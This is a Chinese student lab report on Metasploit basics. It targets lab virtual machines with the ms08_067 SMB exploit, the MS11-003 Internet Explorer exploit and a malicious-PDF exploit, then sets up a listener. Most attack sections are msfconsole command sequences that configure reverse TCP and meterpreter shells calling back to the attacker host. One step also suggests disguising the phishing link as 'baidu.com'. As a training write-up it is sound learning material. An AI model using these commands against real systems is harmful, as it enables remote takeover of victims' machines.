Exp5MSF基础应用——20164325王晓蕊

1.实验要求

一个主动攻击实践，ms08_067;

一个针对浏览器的攻击，MS11-003（唯一）；

一个针对客户端的攻击，adobe_toolbutton；

成功应用任何一个辅助模块Ipidseq（唯一）。

2.实验过程

2.1一个主动攻击实践，ms08_067

2.1.1在攻击机kali输入msfconsole进入控制台，依次输入以下指令：

1 use exploit/windows/smb/ms08_067_netapi
2 show payloads
3 set payload generic/shell_reverse_tcp //tcp反向回连
4 set LHOST 192.168.23.128 //攻击机ip
5 set LPORT 4325//攻击端口
6 set RHOST 192.168.23.131 //靶机ip
7 set target 0 //自动选择目标系统类型，匹配度较高
8 exploit //攻击

2.1.2出现的问题：

1.一开始我是用了windows xp中文版的试了一下，结果就如下：

（无法创建会话界面）

这个原因就是因为windows xp中文版打了补丁，只能用别的版本。

2.如果出现以下问题：

就要检查以下靶机的防火墙有没有关掉，而且把链接调到桥接模式也很有必要。

2.2一个针对浏览器的攻击，MS11-003（唯一）

这个漏洞是在 /usr/share/metasploit-framework/modules/exploits/windows/browser 目录下找到的，就紧挨着MS11-050

2.2.1配置

1 msfconsole
2 use exploit/windows/browser/ms11_003_ie_css_import//使用针对ms11_003的渗透攻击模块
3 set PAYLOAD windows/meterpreter/reverse_tcp//设置载荷为TCP反向回连
4 set URIPATH 20164325（和20164325c）//设置URLPATH，就是跟在ip地址后面的页面的名称，内容可以随便写，比如说写成baidu.com将更具有迷惑性
5 set LHOST 192.168.23.128//设置本地主机地址
6 set LPORT 1643//设置本地主机端口，只要是大于1024的都可以
7 set SRVPORT 1644//设置钓鱼网站链接的假端口号，写成80也可以，写成443也行
8 set SRVHOST 192.168.23.128//钓鱼网站的地址要和本地主机地址保持一致
9 exploit

之后会生成一个钓鱼网站的链接，把这个链接到靶机上。

2.2.2对WinXP平台上的IE8进行攻击

本地主机显示连接没有问题，但是一直卡在传输css上面，而远程主机是显示完毕没有任何提示消息，也就是这个网站没有成功。然后我就再换个虚拟机进行攻击。

2.2.3对Win7平台上的IE8进行攻击

1.看到 successfully migrated to expolore.exe就说明成功建立会话了

2. sessions显示当前建立起的会话

3. sessions -i n 进入某一个会话，建议n值取会话id最大的那一个的值，只不过我这里就如图所示只有1

2.3一个针对客户端的攻击，adobe_toolbutton

2.3.1在msf下用search

2.3.2依次输入以下指令：

1 use windows/fileformat/adobe_cooltype_sing
2 set payload windows/meterpreter/reverse_tcp //tcp反向回连
3 set LHOST 192.168.23.128 //攻击机ip
4 set LPORT 4325 //攻击端口
5 set FILENAME exp5_4325.pdf //设置生成pdf文件的名字
6 exploit //攻击

生成pdf：

2.3.3 将pdf文件传送或拷贝到靶机上(先把文件传到自己的电脑上，然后再复制到靶机上)，在kali上输入back退出当前模块，进入监听模块，输入以下命令：

1 use exploit/multi/handler //进入监听模块
2 set payload windows/meterpreter/reverse_tcp //tcp反向连接
3 set LHOST 192.168.23.128//攻击机ip
4 set LPORT 4325 //攻击端口固定
5 exploit